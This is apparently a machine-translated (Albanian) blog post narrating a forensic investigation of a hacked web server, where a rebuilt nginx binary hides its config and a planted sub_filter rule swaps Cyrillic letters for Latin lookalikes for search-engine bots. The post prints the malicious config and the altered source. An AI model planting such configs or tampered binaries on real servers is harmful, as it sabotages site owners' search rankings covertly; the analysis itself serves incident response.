Kur 'a' nuk është e barabartë me 'a'. Në vazhdën e një hakeri

Një histori shumë e pakëndshme i ndodhi një prej miqve të mi. Por sado e pakëndshme që doli të ishte për Mikhail, ishte po aq argëtuese për mua.

Duhet të them që shoku im është mjaft UNIX-përdoruesi: mund ta instalojë vetë sistemin MySQL, php dhe bëni cilësime të thjeshta nginx.
Dhe ai ka një duzinë ose një e gjysmë faqe interneti të dedikuara për mjetet e ndërtimit.

Një nga këto faqe të dedikuara për sharrë elektrike me zinxhir qëndron fort në TOP të motorëve të kërkimit. Kjo faqe është një recensues jo komercial, por dikush e ka zakon ta sulmojë atë. Se DDoS, pastaj forca brutale, pastaj shkruajnë komente të turpshme dhe dërgojnë abuzime në hosting dhe në RKN.
Papritur, gjithçka u qetësua dhe kjo qetësi doli të mos ishte e mirë dhe faqja filloi të largohej gradualisht nga linjat kryesore të rezultateve të kërkimit.

Kur 'a' nuk është e barabartë me 'a'. Në vazhdën e një hakeri

Kjo ishte një thënie, pastaj vetë historia e administratorit.

Ishte afër kohës së gjumit kur ra telefoni: "San, nuk do të shikosh serverin tim? Më duket se jam hakuar, nuk e vërtetoj dot, por ndjesia nuk më ka lënë për javën e tretë. Ndoshta është koha që unë të trajtohem për paranojën?”

Ajo që pasoi ishte një diskutim gjysmë ore i cili mund të përmblidhet si më poshtë:

  • toka për hakerim ishte mjaft pjellore;
  • një sulmues mund të fitojë të drejtat e superpërdoruesit;
  • sulmi (nëse ka ndodhur) ishte synuar posaçërisht në këtë vend;
  • zonat problematike janë korrigjuar dhe ju vetëm duhet të kuptoni nëse ka pasur ndonjë depërtim;
  • hakimi nuk mund të ndikojë në kodin e faqes dhe bazat e të dhënave.

Në lidhje me pikën e fundit.

Kur 'a' nuk është e barabartë me 'a'. Në vazhdën e një hakeri

Vetëm IP-ja e bardhë e frontit shikon botën. Nuk ka shkëmbim midis backend-eve dhe frontend-it, përveç http(s), përdoruesit/fjalëkalimet janë të ndryshme, asnjë çelës nuk është shkëmbyer. Në adresat gri, të gjitha portet përveç 80/443 janë të mbyllura. IP-të e backend-it të bardhë janë të njohura vetëm për dy përdorues, të cilëve Mikhail u beson plotësisht.

Instaluar në pjesën e përparme Debian 9 dhe në kohën kur bëhet thirrja, sistemi izolohet nga bota nga një mur zjarri i jashtëm dhe ndalet.

"Ok, më jep akses," vendos ta shtyj gjumin për një orë. "Unë do të shoh me sytë e mi."

Këtu dhe më tej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Duke kërkuar për një hak të mundshëm

Filloj serverin, fillimisht brenda mënyra e shpëtimit. I montoj disqet dhe i shfletoj autoriteti-trungje, histori, regjistrat e sistemit, etj., nëse është e mundur, kontrolloj datat e krijimit të skedarit, megjithëse e kuptoj që një krisur normal do të kishte "fshirë" pas vetes, dhe Misha tashmë kishte "shkelur" shumë ndërsa po kërkonte veten .

Unë filloj në modalitetin normal, duke mos kuptuar ende se çfarë të kërkoj, studioj konfigurimet. Para së gjithash, unë jam i interesuar për nginx meqenëse, në përgjithësi, nuk ka asgjë tjetër në pjesën e përparme përveç saj.
Konfigurimet janë të vogla, të strukturuara mirë në një duzinë skedarësh, unë thjesht i shikoj ato Mace'oh nje nga nje. Gjithçka duket të jetë e pastër, por kurrë nuk e dini nëse kam humbur diçka përfshin, më lejoni të bëj një listë të plotë:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nuk e kuptova: "Ku është lista?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Pyetjes së listës i shtohet një pyetje e dytë: "Pse një version kaq i lashtë i nginx?"

Për më tepër, sistemi beson se është instaluar versioni më i fundit:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Unë po thërras:
- Misha, pse u grumbullove nginx?
- Zgjohu, unë as nuk di si ta bëj këtë!
- Mirë, shko fle...

nginx është rindërtuar qartë dhe dalja e listimit duke përdorur "-T" fshihet për një arsye. Nuk ka më asnjë dyshim për hakerimin dhe thjesht mund ta pranoni atë dhe (pasi Misha zëvendësoi serverin me një të ri gjithsesi) ta konsideroni problemin të zgjidhur.

Dhe me të vërtetë, pasi dikush mori të drejtat rrënjë'ah, atëherë ka kuptim vetëm të bëhet riinstalimi i sistemit, dhe ishte e kotë të kërkoja se çfarë nuk shkonte atje, por këtë herë kurioziteti e mundi gjumin. Si mund të zbulojmë se çfarë donin të na fshihnin?

Le të përpiqemi të gjurmojmë:

$ strace nginx -T

Ne e shikojmë atë, nuk ka linja të mjaftueshme në gjurmë a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Vetëm për argëtim, le të krahasojmë gjetjet.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Unë mendoj se është pjesë e kodit /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

u reduktua në formën:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ose

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

prandaj renditja sipas "-T" nuk shfaqet.

Por si mund ta shohim konfigurimin tonë?

Nëse mendimi im është i saktë dhe problemi është vetëm në variablin ngx_dump_config le të përpiqemi ta instalojmë duke përdorur gdb, për fat ka një çelës --me-cc-opt -g prezantoj dhe shpresoj se optimizimi -O2 nuk do të na dëmtojë. Në të njëjtën kohë, pasi nuk e di se si ngx_dump_config mund të përpunohen në rasti 'T':, ne nuk do ta quajmë këtë bllok, por do ta instalojmë duke përdorur rasti 't':

Pse mund të përdorni '-t' si dhe '-T'Përpunimi i bllokut if (ngx_dump_config) ndodh brenda if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Sigurisht, nëse kodi ndryshohet në këtë pjesë dhe jo në rasti 'T':, atëherë metoda ime nuk do të funksionojë.

Testoni nginx.confPasi e keni zgjidhur problemin eksperimentalisht, u vërtetua se kërkohet një konfigurim minimal që malware të funksionojë nginx lloji:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ne do ta përdorim atë për shkurtësi në artikull.

Hapni korrigjuesin

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Hapat:

  • caktoni një pikë ndërprerjeje në funksion kryesore ()
  • nis programin
  • ndryshoni vlerën e ndryshores që përcakton daljen e konfigurimit ngx_dump_config=1
  • vazhdoni/përfundoni programin

Siç mund ta shohim, konfigurimi i vërtetë ndryshon nga i yni, ne zgjedhim një pjesë parazitare prej tij:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Le të hedhim një vështrim se çfarë po ndodh këtu me radhë.

I vendosur Agjenti i përdoruesit'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Faqet e shërbimit janë të përjashtuara wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Dhe për ata që bien në të dyja kushtet e mësipërme

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

në tekst html-faqet ndryshojnë 'O' mbi 'o' и 'A' mbi 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Kjo është e drejtë, e vetmja hollësi është kjo 'a' != 'a' ashtu si 'o' != 'o':

Kur 'a' nuk është e barabartë me 'a'. Në vazhdën e një hakeri

Kështu, robotët e motorëve të kërkimit marrin, në vend të tekstit normal 100% cirilik, mbeturina të modifikuara të holluara me latinisht 'a' и 'o'. Unë nuk guxoj të diskutoj se si kjo ndikon në SEO, por nuk ka gjasa që një grumbull i tillë shkronjash të ketë një ndikim pozitiv në pozicionet në rezultatet e kërkimit.

Çfarë mund të them, djema me imagjinatë.

Referencat

Korrigjimi me GDB
gdb (1) - faqja e njeriut Linux
strace (1) - faqja e njeriut Linux
Nginx - Moduli ngx_http_sub_module
Rreth sharrave, sharrave me zinxhir dhe sharrave elektrike

Burimi: www.habr.com

Shto një koment